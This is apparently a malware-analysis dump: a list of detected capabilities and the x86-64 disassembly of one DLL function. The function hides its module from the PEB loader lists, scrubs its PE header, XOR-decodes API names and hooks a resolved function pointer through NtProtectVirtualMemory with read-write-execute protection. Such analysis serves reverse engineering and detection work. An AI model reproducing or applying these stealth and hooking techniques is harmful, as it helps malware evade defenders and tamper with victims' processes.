Function at 0x180006860
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Enumerate threads
Execute shellcode via indirect call
Get kernel32 base address
Parse pe header

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov rax, qword [0x18000b040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov qword [r11 + 8], rdi
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 4
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor r14d, r14d
mov rbx, rax
test rax, rax
je 0x1800068f4
xorps xmm0, xmm0
mov dword [rbp + 0x17], 0x1c
xor eax, eax
lea rdx, [rbp + 0x17]
mov rcx, rbx
mov qword [rbp + 0x2b], rax
movups xmmword [rbp + 0x1b], xmm0
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1800068eb
cmp dword [rbp + 0x23], edi
je 0x180006933
lea rdx, [rbp + 0x17]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1800068d5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
mov dword [0x18000b820], eax
mov rax, qword gs:[0x30]
mov qword [rbp + 0xf], rsi
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
mov rcx, qword [rax + 0x30]
nop word [rax + rax]
cmp rcx, rsi
je 0x180006938
mov rax, qword [rax]
mov rcx, qword [rax + 0x30]
test rcx, rcx
jne 0x180006920
jmp 0x18000697b
mov eax, dword [rbp + 0x1f]
jmp 0x1800068f7
mov rdx, qword [rax + 8]
mov rcx, qword [rax]
mov qword [rdx], rcx
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov qword [rdx], rcx
mov rdx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov qword [rdx + 8], rcx
mov rdx, qword [rax + 0x28]
mov rcx, qword [rax + 0x20]
mov qword [rdx], rcx
mov rdx, qword [rax + 0x20]
mov rcx, qword [rax + 0x28]
mov qword [rdx + 8], rcx
lea rcx, [rbp + 0xf]
call fcn.180002690
mov rcx, qword [rbp + 0xf]
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800069f9
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1800069f9
mov r9, r14
nop dword [rax]
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
imul r8d, eax, 0x343fd
mov eax, 0x80808081
add r8d, 0x269ec3
sar r8d, 0x10
and r8d, 0x7fff
mul r8d
shr edx, 7
imul eax, edx, 0xff
sub r8d, eax
inc r8b
mov byte [r9 + rcx], r8b
inc r9
cmp r9, 0x1000
jl 0x1800069b0
mov ecx, 0x18
call fcn.180007414
mov qword [rbp - 0x19], rax
mov rdi, rax
cmp byte [0x180009507], r14b
movups xmm0, xmmword [str.aDWAMeSEVHV_S_Z]
mov r10d, dword [0x18000b088]
movups xmmword [rbp + 0x17], xmm0
movsd xmm0, qword [0x180009500]
movsd qword [rbp + 0x27], xmm0
je 0x180006bc1
cmp r10d, 2
jl 0x180006b89
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp + 0x17]
movdqa xmm5, xmmword [0x1800095e0]
mov edx, r14d
movdqa xmm4, xmmword [0x180009640]
movdqa xmmword [rbp - 0x19], xmm0
mov r8d, dword [rbp - 0x19]
movaps xmmword [rsp + 0x90], xmm6
movdqa xmm6, xmmword [0x180009610]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180009620]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180009620]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x180006a80
movaps xmm6, xmmword [rsp + 0x90]
jmp 0x180006bc1
lea r9, [rbp + 0x17]
mov r8d, r14d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x180006b90
mov eax, dword [0x180009540]
mov r8d, r14d
movsd xmm0, qword [str._T__QY]
mov dword [rbp + 7], eax
movzx eax, byte [0x180009544]
mov byte [rbp + 0xb], al
movsd qword [rbp - 1], xmm0
cmp r10d, 2
jl 0x180006ced
movdqa xmm2, xmmword [0x1800095e0]
mov r8d, 8
movdqa xmm4, xmmword [0x180009640]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1800095f0]
movdqa xmm0, xmm2
mov eax, dword [str.0000000000000000]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180009610]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180009620]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._T__QY]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 1], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180009610]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180009620]
movd xmm1, dword [rbp + 3]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 3], xmm2
movsxd rax, r8d
lea r9, [rbp - 1]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180006d00
lea rcx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 1
mov qword [rdi], r14
mov rcx, rax
mov qword [rdi + 8], r14
mov rbx, rax
mov qword [rdi + 0x10], r14
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180006d90
cmp byte [rbx], 0xeb
jne 0x180006d90
lea edx, [rax + 1]
lea rcx, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180006d84
movzx eax, byte [rbx + 1]
jmp 0x180006d86
xor eax, eax
movzx eax, al
add rbx, 2
add rbx, rax
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180006dd5
mov eax, 0x25ff
cmp word [rbx], ax
jne 0x180006dd5
mov edx, 4
lea rcx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180006dca
mov eax, dword [rbx + 2]
mov ecx, eax
add rcx, 6
jmp 0x180006e12
mov eax, r14d
mov ecx, eax
add rcx, 6
jmp 0x180006e12
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180006e19
mov eax, 0xff48
cmp word [rbx], ax
jne 0x180006e19
mov edx, 4
lea rcx, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180006e09
mov eax, dword [rbx + 3]
jmp 0x180006e0c
mov eax, r14d
mov ecx, eax
add rcx, 7
add rcx, rbx
mov qword [rdi + 8], rcx
mov rsi, qword [rdi + 8]
test rsi, rsi
jne 0x180006e2c
mov qword [rdi + 0x10], 0xffffffffffffffff
jmp 0x180006e32
mov rax, qword [rsi]
mov qword [rdi], rax
mov edx, 8
mov qword [0x18000b818], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov rdi, qword [rsp + 0xb0]
test eax, eax
jne 0x180006f00
lea rcx, str.Ntdll.dll
mov qword [rbp + 0xf], r14
mov qword [rbp + 0x37], 8
mov qword [rbp - 9], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x37]
lea rdx, [rbp - 9]
lea rcx, [r9 - 0x41]
call rax
test al, al
jne 0x180006ef9
mov rbx, qword [rbp + 0xf]
lea rax, [0x1800066c0]
lea rcx, str.Ntdll.dll
mov qword [rsi], rax
mov qword [rbp - 1], 8
mov qword [rbp - 0x19], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0xf]
mov r9, rbx
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 1]
lea rdx, [rbp - 0x19]
mov rcx, 0xffffffffffffffff
call rax
mov eax, 1
jmp 0x180006f03
mov eax, r14d
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.180007300
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret